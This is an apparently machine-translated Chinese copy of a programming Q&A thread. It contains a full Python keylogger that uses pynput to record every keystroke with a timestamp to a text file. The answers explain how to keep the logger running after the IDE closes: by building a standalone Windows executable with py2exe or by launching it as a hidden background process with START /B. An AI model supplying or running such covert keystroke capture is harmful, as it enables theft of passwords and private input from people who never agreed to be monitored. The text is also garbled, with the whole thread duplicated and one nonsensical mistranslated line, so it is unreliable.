怎么总是听键盘记录器?
how Always listen to keylogger?
我怎么总是倾听?当 Pycharm 关闭时脚本关闭。我使用 windows
from pynput.keyboard import Key, Listener
import logging
log_dir=""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
我下了订单,没弄错,但不在处理中
您需要 运行 文件并保持打开状态。最简单的方法是从命令行(注意:您需要 cd 到包含 python 文件的目录):
python <nameOfYourFile>.py
点击return,不要关闭命令行。
我建议使用像 py2exe
这样的工具从你的脚本构建一个独立的 Windows 可执行文件,因为需要 python 解释器到 运行 键盘记录器会添加一个对它的繁琐依赖。
或者您可以从 Windows 命令行 CMD 调用 python 解释器并 运行 它作为后台进程:
START /B python <your_python_file>.py
我怎么总是倾听?当 Pycharm 关闭时脚本关闭。我使用 windows
from pynput.keyboard import Key, Listener
import logging
log_dir=""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
我下了订单,没弄错,但不在处理中
您需要 运行 文件并保持打开状态。最简单的方法是从命令行(注意:您需要 cd 到包含 python 文件的目录):
python <nameOfYourFile>.py
点击return,不要关闭命令行。
我建议使用像 py2exe
这样的工具从你的脚本构建一个独立的 Windows 可执行文件,因为需要 python 解释器到 运行 键盘记录器会添加一个对它的繁琐依赖。
或者您可以从 Windows 命令行 CMD 调用 python 解释器并 运行 它作为后台进程:
START /B python <your_python_file>.py